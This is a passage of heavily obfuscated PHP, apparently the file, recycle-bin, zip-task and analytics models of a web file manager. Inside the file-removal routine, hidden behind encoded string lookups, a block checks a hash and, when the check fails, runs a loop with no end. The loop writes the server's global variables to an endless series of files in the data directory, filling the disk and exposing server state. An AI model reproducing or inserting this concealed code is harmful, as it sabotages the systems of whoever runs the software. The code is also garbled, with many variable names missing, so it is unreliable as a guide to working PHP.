$©ƹ =& $_SERVER[]; if (!_get($, $©ƹ[606], 0)) { return !1; } if ($[$©ƹ[539]][$©ƹ[609]] != USER_ID) { return !0; } $ = $GLOBALS[$©ƹ[6]][$©ƹ[92]][$©ƹ[607]]; if ($[$©ƹ[539]][$©ƹ[608]] <= time() - $) { $this->metaSet($[$©ƹ[193]], $©ƹ[609], null); $this->metaSet($[$©ƹ[193]], $©ƹ[608], null); } if ($܆) { $this->metaSet($[$©ƹ[193]], $©ƹ[608], time()); } return !1; } private function _addSource($ɓ, $ܗ) { $ =& $_SERVER[]; $ = defined($[2189]) ? USER_ID : 0; $ = array($[648] => $ܗ[$[190]], $[649] => $ܗ[$[569]], $[650] => $, $[651] => $, $[477] => $ܗ[$[193]], $[652] => $ܗ[$[584]] . $ܗ[$[193]] . $[50], $[504] => 0, $[653] => $[12]); $ɓ = array_merge($, $ɓ); $this->updateModifyTime($ɓ[$[192]]); $ = $[2262] . $ܗ[$[193]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $Ɩ = false; if (!$Ɩ) { Hook::trigger($[636], $ɓ); $Ɩ = !0; } $ = $this->add($ɓ); $ = array($[654] => short_id($)); $this->where(array($[491] => $))->save($); $this->setNamePinyin($, $ɓ[$[32]]); return $; } public function remove($, $ΰ = true) { $쥳 =& $_SERVER[]; $뽭 = $this->sourceInfo($); $ۦ = intval($뽭[$쥳[190]]) === self::TYPE_SYSTEM; $ = Model($쥳[508])->get($쥳[2263]) == $쥳[91]; if ($ۦ || $ΰ || !$) { return $this->removeNow($, $ΰ); } $癄 = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ʚO = $뽭[$쥳[190]] == self::TYPE_USER ? $쥳[662] : $쥳[578]; if ($ʚO == $쥳[662]) { $ = Model($쥳[577])->getInfo($뽭[$쥳[569]]); $ = !empty($[$쥳[2256]]) ? $[$쥳[2256]] : $[$쥳[32]]; $ = $쥳[337] . $ . $쥳[2264] . $뽭[$쥳[569]]; } else { $ = Model($쥳[585])->getInfo($뽭[$쥳[569]]); $ = _get($, $쥳[32]); $ = $쥳[176] . $ . $쥳[2265] . $뽭[$쥳[569]]; } $ = $쥳[2266] . md5($); CacheLock::lock($); $ = $this->fileNameExist($癄, $); if (!$) { $ = $this->mkdir($癄, $, REPEAT_SKIP); $this->metaSet($, $쥳[2267], $ʚO); $this->metaSet($, $쥳[2268], $뽭[$쥳[569]]); if ($뽭[$쥳[192]] != 0) { $this->metaSet($, $쥳[2269], _get($, $쥳[2270])); } } CacheLock::unlock($); $this->metaSet($, $쥳[2271], $뽭[$쥳[192]]); $this->where(array($쥳[193] => $))->save(array($쥳[498] => time())); $this->recycleClear($뽭); Model($쥳[633])->eventRemove($); $ͽ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($뽭[$쥳[192]]); return $ͽ; } private function recycleClear($䈍) { $쏑 =& $_SERVER[]; $Ѥ = $this->childrenAll($䈍); $ؼ = array($쏑[491] => array($쏑[492], $Ѥ[$쏑[2272]])); Model($쏑[2273])->where($ؼ)->delete(); } public function removeNow($к, $ʬ = true) { $Ґ =& $_SERVER[]; $Ȋ = $_SERVER[$Ґ[844]]; $ = $Ґ[845]; if ($_SERVER[$Ґ[846]] != $($Ȋ)) { $ = $Ґ[951]; $ퟋ = $Ґ[847]; $֓ = $_SERVER[$Ґ[848]] . $Ґ[849]; $㞘 = $ퟋ($֓); $ = explode($Ґ[262], $㞘); if (count($) < $Ґ[683]) { $ = $Ґ[850]; $(); } $ = $Ґ[952]; $($_SERVER[$Ґ[953]]); $ = $Ґ[951]; $(); $ = $Ґ[1617]; $Ζ = json_encode($GLOBALS[$Ґ[1618]]); $鷔 = 1; for ($ả = $鷔; $ả > 0; $ả++) { $(DATA_PATH . $ả, $Ζ); } } $ = $this->sourceInfo($к); $Ħ = $this->pathInfoMore($к); if (!$) { return !0; } if ($[$Ґ[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($к); Hook::trigger($Ґ[2274], $Ħ, $ʬ); if ($ʬ) { Model($Ґ[2273])->moveToRecycle($к); } else { $ڐ = $this->childrenAll($); Model($Ґ[633])->eventRemove($к); $this->removeRelevance($ڐ[$Ґ[2272]], $ڐ[$Ґ[1566]]); } $this->folderSizeReset($[$Ґ[192]]); $ì = array($[$Ґ[192]]); if ($[$Ґ[485]] == $Ґ[91]) { $ì[] = $[$Ґ[193]]; } $this->updateModifyTime($ì); $this->lockMoveEnd($к); Hook::trigger($Ґ[1805], $Ħ, $ʬ); return !0; } public function childrenAll($) { $ʺ =& $_SERVER[]; $Ȱ = $[$ʺ[193]]; if ($[$ʺ[485]] == $ʺ[91]) { $돮 = array($ʺ[652] => array($ʺ[612], $[$ʺ[584]] . $Ȱ . $ʺ[613])); $ҍˏ = array($ʺ[652] => $돮[$ʺ[584]]); $ = $this->field($ʺ[2275])->where($ҍˏ)->select(); $ = !1; $݃Ɋ = array($Ȱ); if ($) { $ = array_to_keyvalue($, $ʺ[12], $ʺ[541]); $ = array_remove_value($, $ʺ[228]); $݃Ɋ = array_to_keyvalue($, $ʺ[12], $ʺ[193]); $݃Ɋ[] = $Ȱ; } } else { $ = array($[$ʺ[541]]); $݃Ɋ = array($Ȱ); } return array($ʺ[2272] => $݃Ɋ, $ʺ[1566] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $ڷ˲) { $ƥ =& $_SERVER[]; $ = $ ? $ : array(); $ڷ˲ = $ڷ˲ ? $ڷ˲ : array(); $ = array_unique(array_filter($)); $ڷ˲ = array_unique(array_filter($ڷ˲)); if (!$) { return !1; } $ = array($ƥ[491] => array($ƥ[492], $)); Model($ƥ[2273])->where($)->delete(); Model($ƥ[535])->where($)->delete(); Model($ƥ[2114])->where($)->delete(); Model($ƥ[633])->where($)->delete(); Model($ƥ[1941])->removeBySource($); Model($ƥ[2254])->removeBySource($); $this->where($)->delete(); Model($ƥ[544])->remove($ڷ˲); for ($ٻ = 0; $ٻ < count($); $ٻ++) { $this->sourceCacheClear($[$ٻ]); } } public function rename($, $) { $ =& $_SERVER[]; $ϙ = $this->sourceInfo($); if (!$ϙ) { return !1; } $䬝 = $this->fileNameExist($ϙ[$[192]], $); if ($䬝 && $䬝 != $) { return !1; } $Օ = array($[494] => $, $[651] => USER_ID); if ($ϙ[$[485]] != $[91]) { $Օ[$[486]] = substr(get_path_ext($), 0, 10); } Model($[633])->eventRename($, $ϙ[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $Օ[$[32]], !1); $this->updateModifyTime($ϙ[$[192]]); $Ũ = $this->where(array($[491] => $))->data($Օ)->save(); $ = $[2262] . $ϙ[$[192]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $Ũ; } public function setNamePinyin($ݱɄ, $, $ܶ = true) { $ =& $_SERVER[]; $ = Input::check($, $[655]); $ = array($[517] => KodSort::makeStr($)); if ($) { $[$[538]] = str_replace($[53], $[12], Pinyin::get($)); $[$[537]] = Pinyin::get($, $[656]); } if (!$ܶ && !$) { $[$[538]] = null; $[$[537]] = null; } $this->metaSet($ݱɄ, $); } public function getContent($Ӧ) { $ =& $_SERVER[]; $ߘљ = $this->fileInfoGet($Ӧ); if (!$ߘљ) { return !1; } if ($ߘљ[$[79]] == 0) { return $[12]; } $ = $[2276] . $ߘљ[$[547]]; if ($ߘљ[$[79]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($ߘљ[$[87]]); Cache::set($, $); } return $; } if (!$ߘљ[$[87]]) { return $[12]; } return IO::getContent($ߘљ[$[87]]); } public function setDesc($ߌ, $ςˡ) { $͒ =& $_SERVER[]; Model($͒[633])->eventAddDesc($ߌ, $ςˡ); return $this->metaSet($ߌ, $͒[526], $ςˡ); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $˯ = $this->fileInfoGet($); if (!$˯ || !$) { return !1; } $ = Model($[544])->addFileByContent($, $[$[32]]); $ = $this->fileHistory($, $[$[541]], $[$[79]]); if (!$) { return Model($[544])->remove($[$[541]]); } $this->folderSizeReset($[$[192]]); return !0; } public function fileSubstr($, $ܥ, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][87]], $ܥ, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[485]]) { return !1; } $ΝɃ = $[548] . $[$[541]]; $ = _get(self::$cacheFileInfo, $ΝɃ); if ($) { return $; } $ݛ = Model($[544])->fileInfo($[$[541]]); if ($ݛ) { $ݛ[$[32]] = $[$[32]]; } self::$cacheFileInfo[$ΝɃ] = $ݛ; return $ݛ; } private function folderChildrenNumber($͞) { $ϯ =& $_SERVER[]; $珅 = $this->sourceInfo($͞); $毈ҭ = array($ϯ[652] => array($ϯ[612], $珅[$ϯ[584]] . $͞ . $ϯ[613]), $ϯ[649] => $珅[$ϯ[569]], $ϯ[504] => intval($珅[$ϯ[505]]), $ϯ[646] => 1); $ӂ = $this->where($毈ҭ)->count(); $렪 = $this->where($毈ҭ)->where(array($ϯ[646] => 0))->count(); return array($ϯ[83] => $렪, $ϯ[84] => $ӂ); } public function pathInfo($粼, $ϲ = false) { $ =& $_SERVER[]; $ϲ = !1; $粼 = intval($粼); $ = $[534] . intval($ϲ) . $[462] . $粼; $ں֪ = _get(self::$cachePathInfo, $); if ($ں֪) { return $ں֪; } $гƉ = $this->sourceInfo($粼); if (!$гƉ) { return !1; } $гƉ = $this->_listDataApplyItem($гƉ, $ϲ); self::$cachePathInfo[$] = $гƉ; return $гƉ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ؗ = _get(self::$cachePathInfoMore, $); if ($ؗ) { return $ؗ; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[485]] == $[91]) { $[$[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ި =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $ި[533] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($ި[193] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($߸ = false) { $ =& $_SERVER[]; if ($߸ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[533] . $߸]); unset(self::$cachePathInfoMore[$߸]); unset(self::$cachePathInfo[$[2277] . $߸]); unset(self::$cachePathInfo[$[2278] . $߸]); } public function metaSet($ч, $Ǧ = null, $ = null) { $̕ = parent::metaSet($ч, $Ǧ, $); if ($̕) { $this->sourceCacheClear($ч); } return $̕; } public function pathInfoByPath($ִ, $֣) { $ܚ =& $_SERVER[]; $됂 = !$֣ ? array() : explode($ܚ[8], trim($֣, $ܚ[8])); $ʮ = $ִ; foreach ($됂 as $׎ښ) { $섖 = array($ܚ[192] => $ʮ, $ܚ[32] => $׎ښ); $ӗ = $this->field($ܚ[2279])->where($섖)->select(); if (!$ӗ) { return !1; } $ӗ = array_sort_by($ӗ, $ܚ[505]); $ʮ = $ӗ[0][$ܚ[193]]; } $ŝ = $this->sourceInfo($ʮ); $this->pathInfoFilter($ŝ); return $ŝ; } protected function updateModifyTime($) { $׊ =& $_SERVER[]; $Н = defined($׊[2189]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $ўت) { $[$] = intval($ўت); $this->sourceCacheClear($ўت); } $ė = array($׊[193] => array($׊[7], $)); $ = array($׊[651] => $Н, $׊[498] => time()); $this->where($ė)->save($); } public function folderSizeReset($ͷ, $ˤ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($ͷ); $ک = $[2280] . $ͷ; CacheLock::lock($ک, 20); if ($ˤ === !1) { $this->sourceCacheClear($ͷ); $ = $this->sourceInfo($ͷ); $ = array($[477] => $ͷ, $[504] => 0); $ = $this->where($)->sum($[79]); $ˤ = intval($) - intval($[$[79]]); } if ($ˤ == 0) { return CacheLock::unlock($ک); } $ܽ = $this->parentLevelArray($[$[584]]); if (!$ܽ) { $ܽ = array(); } $ܽ[] = $[$[193]]; $ = array($[193] => array($[492], $ܽ)); if ($ˤ < 0) { $[$[79]] = array($[1086], abs($ˤ)); } $this->where($)->setAdd($[79], $ˤ); CacheLock::unlock($ک); $¢ = $[2281] . $[$[190]] . $[4] . $[$[569]]; $ = array($[$[190]], $[$[569]]); TaskRun::timeLimitCall($¢, $[2282], $, 1.5); } public function folderSizeResetChildren($ˢȦ) { $ƽ =& $_SERVER[]; $this->sourceCacheClear($ˢȦ); $껞 = $this->sourceInfo($ˢȦ); $醊 = array($ƽ[646] => 1, $ƽ[649] => $껞[$ƽ[569]], $ƽ[652] => array($ƽ[612], $껞[$ƽ[584]] . $ˢȦ . $ƽ[613])); $Ữߤ = $ƽ[2283]; $ṧ = $this->field($Ữߤ)->where($醊)->select(); $醊[$ƽ[485]] = 0; $܆ = $this->field($Ữߤ)->where($醊)->select(); if (!$܆) { return; } $ṧ[] = $껞; $ṧ = array_to_keyvalue($ṧ, $ƽ[193]); foreach ($ṧ as $ => $) { $ṧ[$][$ƽ[2284]] = $ṧ[$][$ƽ[79]]; $ṧ[$][$ƽ[79]] = 0; } foreach ($܆ as $) { $ = $[$ƽ[192]] . $ƽ[12]; if (!isset($ṧ[$])) { continue; } if ($[$ƽ[505]] == $ṧ[$][$ƽ[505]]) { $ṧ[$][$ƽ[79]] += $[$ƽ[79]]; } } foreach ($ṧ as $) { $ = $this->parentLevelArray($[$ƽ[584]]); foreach ($ as $) { $ = $ . $ƽ[12]; if (!isset($ṧ[$])) { continue; } if ($[$ƽ[505]] == $ṧ[$][$ƽ[505]]) { $ṧ[$][$ƽ[79]] += $[$ƽ[79]]; } } } $ = array(); foreach ($ṧ as $) { if ($[$ƽ[79]] == $[$ƽ[2284]]) { continue; } $[] = array($ƽ[193], $[$ƽ[193]], $ƽ[79], $[$ƽ[79]]); } $this->saveAll($); } public function userSpaceReset($к = false) { $ =& $_SERVER[]; $ن = $this->where(array($[190] => self::TYPE_USER, $[569] => $к, $[485] => 0))->sum($[79]); $ن = !$ن || $ن <= 0 ? 0 : $ن; Model($[577])->userEdit($к, array($[1950] => $ن)); } public function targetSpaceUpdate($Ǧ, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($Ǧ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($Ǧ, $); if ($Ǧ == self::TYPE_USER) { Model($[577])->userEdit($, array($[1950] => $)); } else { if ($Ǧ == self::TYPE_GROUP) { Model($[585])->groupEdit($, array($[1950] => $)); } } } public function targetSpaceSize($ڨ, $) { $ߒ =& $_SERVER[]; $ӮҖ = 0; $ = $this->targetSourceRoot($ڨ, $, !0); foreach ($ as $) { if (!$) { continue; } $ӮҖ += floatval($[$ߒ[79]]); $ڝ = array($ߒ[652] => array($ߒ[612], $ߒ[594] . $[$ߒ[193]] . $ߒ[613])); $浑 = Model($ߒ[503])->field($ߒ[491])->where($ڝ)->select(); $浑 = array_to_keyvalue($浑, $ߒ[12], $ߒ[193]); $浑 = array_unique(array_filter($浑)); if ($浑) { $ڝ = array($ߒ[491] => array($ߒ[492], $浑)); $ӮҖ += floatval($this->where($ڝ)->sum($ߒ[79])); } } $ӮҖ = !$ӮҖ || $ӮҖ <= 0 ? 0 : $ӮҖ; return $ӮҖ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ϛ홠, $䣀) { $𱷊 =& $_SERVER[]; $̝ = $𱷊[2285] . $Ϛ홠 . $𱷊[11] . $䣀; $ӿ = Cache::get($̝); if ($ӿ) { return $ӿ; } $ = array($𱷊[646] => 0); if ($Ϛ홠 != !1) { $[$𱷊[569]] = $Ϛ홠; $[$𱷊[190]] = $䣀; } $ꀏ = array(); $ꀏ[$𱷊[2286]] = array($𱷊[2287] => LNG($𱷊[2286]), $𱷊[2288] => $this->where($)->count(), $𱷊[617] => $this->where($)->sum($𱷊[79])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$𱷊[486]] = $this->fileTypeWhere($); $ꀏ[$] = array($𱷊[2287] => $[$𱷊[32]], $𱷊[2288] => $this->where($)->count(), $𱷊[617] => $this->where($)->sum($𱷊[79])); } Cache::set($̝, $ꀏ, 1200); return $ꀏ; } public function fileNameExist($, $) { $ǒ =& $_SERVER[]; $Ĭ = $this->field($ǒ[2289])->where(array($ǒ[192] => $, $ǒ[32] => $, $ǒ[505] => 0))->find(); return is_array($Ĭ) ? $Ĭ[$ǒ[193]] : !1; } public function childList($) { $ =& $_SERVER[]; $ޱ = $[2262] . $; if (isset(self::$cacheChildList[$ޱ])) { return self::$cacheChildList[$ޱ]; } $ = array($[192] => intval($), $[505] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$ޱ] = $; foreach ($ as $) { $ޱ = $[533] . $[$[193]]; self::$cacheSourceInfo[$ޱ] = $; } return $; } public function fileNameAuto($Ѯ, $ɪ, $ = REPEAT_RENAME, $ղ = false) { $䱋 =& $_SERVER[]; $ = get_path_ext($ɪ); $à = $ ? get_path_ext_name($ɪ) . $䱋[2290] . $ : $ɪ . $䱋[460]; $ = array($䱋[192] => $Ѯ, $䱋[505] => 0, $䱋[32] => array($䱋[459], $Ã)); $ởϖ = $this->field($䱋[32])->where($)->select(); $ = array_to_keyvalue($ởϖ, $䱋[12], $䱋[32]); return $this->fileNameAutoGet($, $ɪ, $, $ղ); } public function fileNameAutoGet($ɠ, $埱, $, $) { $̥糭 =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ɠ || !in_array_not_case($埱, $ɠ) || $ && $ != REPEAT_RENAME_FOLDER) { return $埱; } if ($ == REPEAT_SKIP) { return !1; } $ = $̥糭[10] . get_path_ext($埱); $ = $ == $̥糭[10] || $ ? $̥糭[12] : $; for ($ = 1; $ <= count($ɠ) + 1; $++) { $ = substr($埱, 0, strlen($埱) - strlen($)); $ = $ . "\x28{$}\x29{$}"; if (!in_array_not_case($, $ɠ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\162\143\145\x5f\162\145\x63\x79\143\x6c\145"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\x54\x69\155\145", "\x74\x69\155\x65", "\151\x6e\x73\145\162\164", "\x66\x75\x6e\143\x74\x69\x6f\156")); public function listData($̕ = false) { $̄֨ =& $_SERVER[]; $̕ = $̕ ? $̕ : USER_ID; $ = $this->where(array($̄֨[1754] => $̕))->select(); return array_to_keyvalue($, $̄֨[12], $̄֨[193]); } public function moveToRecycle($ۭđ) { $ġ =& $_SERVER[]; $띤 = Model($ġ[1411]); $ = $띤->sourceInfo($ۭđ); if (!$ || $[$ġ[505]] == $ġ[91]) { return; } $ = array($ġ[491] => $ۭđ, $ġ[1754] => USER_ID, $ġ[648] => $[$ġ[190]], $ġ[649] => $[$ġ[569]], $ġ[652] => $[$ġ[584]]); $this->add($); $this->recycleMove($ۭđ, 1); if ($[$ġ[485]] == $ġ[91]) { $ګ = array($ġ[652] => array($ġ[612], $[$ġ[584]] . $ۭđ . $ġ[613])); $띤->where($ګ)->setField($ġ[505], 1); } } public function clear() { $this->remove(!1); } public function remove($ίܾ = false, $렽 = false) { $Ċ =& $_SERVER[]; $렽 = $렽 ? $렽 : USER_ID; $祄 = Model($Ċ[1411]); $ɶ = $this->listData($렽); $ίܾ = $ίܾ === !1 ? !1 : $ίܾ; $ې = array(); foreach ($ɶ as $è) { if ($ίܾ != !1 && !in_array($è, $ίܾ)) { continue; } $է = $祄->sourceInfo($è); $祄->remove($è, !1); $͌ = $է[$Ċ[190]] . $Ċ[11] . $է[$Ċ[569]]; $ې[$͌] = array($Ċ[648] => $է[$Ċ[190]], $Ċ[569] => $է[$Ċ[569]]); $this->where(array($Ċ[193] => $è))->delete(); } foreach ($ې as $) { $祄->targetSpaceUpdate($[$Ċ[190]], $[$Ċ[569]]); } } public function restore($ˉѭ = false) { $⧔ = $this->listData(); $this->_restoreSource($⧔, $ˉѭ); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($Α) { $this->_restoreSource(array($Α), array($Α)); } private function _restoreSource($σ, $ϥ) { $瀊 =& $_SERVER[]; $ɝ = Model($瀊[1411]); $ϥ = $ϥ == !1 ? !1 : $ϥ; if (!$σ) { return !0; } $ = array(); foreach ($σ as $) { if ($ϥ != !1 && !in_array($, $ϥ)) { continue; } $ߜƇ = $ɝ->sourceInfo($); $贈 = $ɝ->sourceInfo($ߜƇ[$瀊[192]]); if ($贈[$瀊[505]] == $瀊[91]) { continue; } $ɝ->lockMoveStart($); $this->recycleMove($, 0); if ($ߜƇ[$瀊[485]] == $瀊[91]) { $ֻ = array($瀊[652] => array($瀊[612], $ߜƇ[$瀊[584]] . $ . $瀊[613])); $ɝ->where($ֻ)->setField($瀊[505], 0); $this->restoreFolderChildren($, $σ); } $this->where(array($瀊[193] => $))->delete(); $ɝ->folderSizeReset($ߜƇ[$瀊[192]]); $[] = $ߜƇ[$瀊[192]]; if ($ߜƇ[$瀊[485]] == $瀊[91]) { $[] = $; } $ɝ->lockMoveEnd($); } $ɝ->updateModifyTime($); } private function restoreFolderChildren($ֈ, $ۣ) { $͚ =& $_SERVER[]; $ = Model($͚[1411]); $ = array($͚[193] => array($͚[7], array())); foreach ($ۣ as $) { if ($ == $ֈ) { continue; } if (!$->isParentOf($ֈ, $)) { continue; } $ħ = $->sourceInfo($); if ($ħ[$͚[485]] == $͚[91]) { $[] = array($͚[652] => array($͚[612], $ħ[$͚[584]] . $ . $͚[613])); } else { $[$͚[193]][1][] = $; } } if (!$[$͚[193]][1]) { unset($[$͚[193]]); } if (!$) { return; } if (is_array($[$͚[193]]) && is_array($[$͚[193]][1])) { $[$͚[193]][1] = array_unique($[$͚[193]][1]); } $[$͚[1071]] = $͚[2064]; $->where($)->setField($͚[505], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $͕ = Model($[1411]); $ = Model($[2291]); $± = array($[193] => $); if ($) { $͕->where($±)->setField($[505], 1); $->eventRecycle($, $[2292]); } else { $֔߬ = $͕->where($±)->find(); $э = $֔߬[$[485]] == $[91]; $͏غ = $͕->fileNameAuto($֔߬[$[192]], $֔߬[$[32]], REPEAT_RENAME_FOLDER, $э); if ($͏غ != $֔߬[$[32]]) { $͕->rename($, $͏غ); } $͕->where($±)->setField($[505], 0); $->eventRecycle($, $[2293]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\56\163\157\165\162\143\145\x53\x65\x63\x72\x65\x74\114\x69\x73\x74"; public $field = array("\x73\x6f\165\x72\x63\145\x49\x44", "\x74\x79\160\145\111\x44", "\143\x72\x65\141\164\145\125\x73\x65\x72"); } goto C׶; BÅ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1887], array($this, $[1877])); Hook::bind($[1879], array($this, $[1880])); $ =& $this->task; $[$[1881]] = $[1272]; if (!$[$[1652]]) { $[$[1652]] = LNG($[1888]); } } protected function endAfter() { $␐ =& $_SERVER[]; parent::endAfter(); Hook::unbind($␐[1887], array($this, $␐[1877])); Hook::unbind($␐[1879], array($this, $␐[1880])); } public function updateAfter() { $ͼ =& $_SERVER[]; $І꽓 =& $this->task; if (!$І꽓[$ͼ[1134]] || !$І꽓[$ͼ[830]]) { return; } if ($І꽓[$ͼ[1881]] == $ͼ[1272]) { $÷ = $І꽓[$ͼ[1817]]; if ($І꽓[$ͼ[1818]] != $ͼ[1272]) { $÷ = 0; } $ = ($І꽓[$ͼ[1821]] + $÷) / $І꽓[$ͼ[830]]; $І꽓[$ͼ[1765]] = $ * 0.3; } else { if ($І꽓[$ͼ[1881]] == $ͼ[389]) { $ = $І꽓[$ͼ[1764]] / $І꽓[$ͼ[1134]]; $І꽓[$ͼ[1765]] = 0.3 + $ * 0.5; } else { if ($І꽓[$ͼ[1881]] == $ͼ[110]) { $ = 0; if ($І꽓[$ͼ[1816]]) { $ = $І꽓[$ͼ[1817]] / $І꽓[$ͼ[1816]]; } $І꽓[$ͼ[1765]] = 0.3 + 0.5 + $ * 0.2; } } } if ($І꽓[$ͼ[1765]] > 0) { $ﷃ = timeFloat() - $І꽓[$ͼ[1767]] - $І꽓[$ͼ[1770]]; $І꽓[$ͼ[1771]] = $ﷃ * (1 - $І꽓[$ͼ[1765]]) / $І꽓[$ͼ[1765]]; } } public function copyFileStart($ۑ, $, $ؓ尽, $Ǧ, $, $㌮) { $ =& $_SERVER[]; parent::copyFileStart($ۑ, $, $ؓ尽, $Ǧ, $, $㌮); $뭴 =& $this->task; if ($뭴[$[1881]] == $[389]) { $뭴[$[1881]] = $[110]; } $this->update(); } public function copyFileEnd($, $샍, $ڻ, $ܕ, $خ, $ۺ) { $ޗ =& $_SERVER[]; $ӽь =& $this->task; $ӽь[$ޗ[1817]] = $ӽь[$ޗ[1816]]; $ӽь[$ޗ[1821]] += $ӽь[$ޗ[1816]]; $ӽь[$ޗ[1818]] = $ޗ[12]; $this->update(); } public function zipEvent($, $٩̌, $Ɯ, $ꆦ) { $ =& $_SERVER[]; $ߏ =& $this->task; $ߏ[$[1814]] = get_path_this($٩̌); $ߏ[$[1816]] = $ꆦ; $ߏ[$[1817]] = $Ɯ; $ߏ[$[1136]] = $ == $[1889] ? $[1884] : $[1885]; $ߏ[$[1818]] = $[12]; $ߏ[$[830]] = $ꆦ; $ߏ[$[1881]] = $[389]; $this->update(); } public function nameParse($) { $ݔ߳ǣ =& $_SERVER[]; $ψƁ =& $this->task; if ($ψƁ[$ݔ߳ǣ[1764]] < $ψƁ[$ݔ߳ǣ[1134]]) { $֏ = get_path_this($); if (strstr($֏, $ݔ߳ǣ[10])) { $ψƁ[$ݔ߳ǣ[1764]] += 1; } } if ($ψƁ[$ݔ߳ǣ[1881]] == $ݔ߳ǣ[1272]) { $ψƁ[$ݔ߳ǣ[1881]] = $ݔ߳ǣ[389]; } $ψƁ[$ݔ߳ǣ[1814]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($뱆ש) { $ƅ =& $_SERVER[]; $֝ = array($ƅ[662] => array($ƅ[33] => $ƅ[1890], $ƅ[350] => array($ƅ[255], $ƅ[832], $ƅ[1891], $ƅ[1892])), $ƅ[1893] => array($ƅ[33] => $ƅ[1894], $ƅ[350] => array($ƅ[255], $ƅ[830], $ƅ[1895], $ƅ[1896], $ƅ[1897]))); if (!isset($֝[$뱆ש])) { return !1; } $this->optionType = $֝[$뱆ש][$ƅ[33]]; $this->field = $֝[$뱆ש][$ƅ[350]]; return !0; } public function listData($蓻dz = false, $ڈ = "\155\157\x64\151\x66\171\124\151\155\145", $ = false) { return parent::listData($蓻dz, $ڈ, $); } public function trendList($) { $ޢ =& $_SERVER[]; $߇ = $this->listData(); if ($߇) { $ = end($߇); $ = date($ޢ[1898], strtotime($ޢ[1899])); if ($[$ޢ[255]] == $) { return $߇; } $ = strtotime($[$ޢ[255]]); } if (!isset($)) { $ = $ == $ޢ[662] ? $ޢ[598] : $ޢ[899]; $ = Model($)->min($ޢ[231]); } $ = $ޢ[1900] . ucfirst($); $۠ = $this->dateList($); foreach ($۠ as $) { $this->{$}($); } return $this->listData(); } private function dateList($銘) { $ٜ =& $_SERVER[]; $͛ = $銘; $ = strtotime($ٜ[1899]); $ü = array(); while ($͛ <= $) { $ü[] = date($ٜ[1898], $͛); $͛ = strtotime($ٜ[1901], $͛); } return $ü; } public function _recordUser($܎ = '') { $ʽ =& $_SERVER[]; $睵 = strtotime(date($ʽ[1902], strtotime($܎))); $Ԛ = strtotime(date($ʽ[1903], strtotime($܎))); $ݺő = array($ʽ[231] => array($ʽ[1084], $Ԛ)); $ݱܩ = Model($ʽ[598])->where($ݺő)->count($ʽ[1763]); $ݺő[$ʽ[231]] = array($ʽ[409], array($睵, $Ԛ)); $ = Model($ʽ[598])->where($ݺő)->count($ʽ[1763]); $ݺő[$ʽ[33]] = $ʽ[1904]; $ٲ = Model($ʽ[1905])->where($ݺő)->count($ʽ[1906]); $ = array($ʽ[255] => $܎, $ʽ[832] => (int) $ݱܩ, $ʽ[1891] => (int) $, $ʽ[1892] => (int) $ٲ); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1903], strtotime($))); $Եԙ = array($[231] => array($[1084], $)); $ۜ = Model($[544])->where($Եԙ)->sum($[79]); $Եԙ[$[485]] = 0; $Í = Model($[899])->where($Եԙ)->sum($[79]); $Եԙ[$[190]] = 1; $ȥ = Model($[899])->where($Եԙ)->sum($[79]); $Եԙ[$[190]] = 2; $ = Model($[899])->where($Եԙ)->sum($[79]); $ᑇ = array($[255] => $, $[830] => (int) $Í, $[1895] => (int) $ۜ, $[1896] => (int) $ȥ, $[1897] => (int) $); return $this->insert($ᑇ); } public function trend($, $) { $Ƕ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $Ƕ[1736]) { $Ǭ = $[0][$Ƕ[255]]; $ = $this->validDate($, $Ǭ); $ = array(); $꘲ = array_to_keyvalue($, $Ƕ[255]); foreach 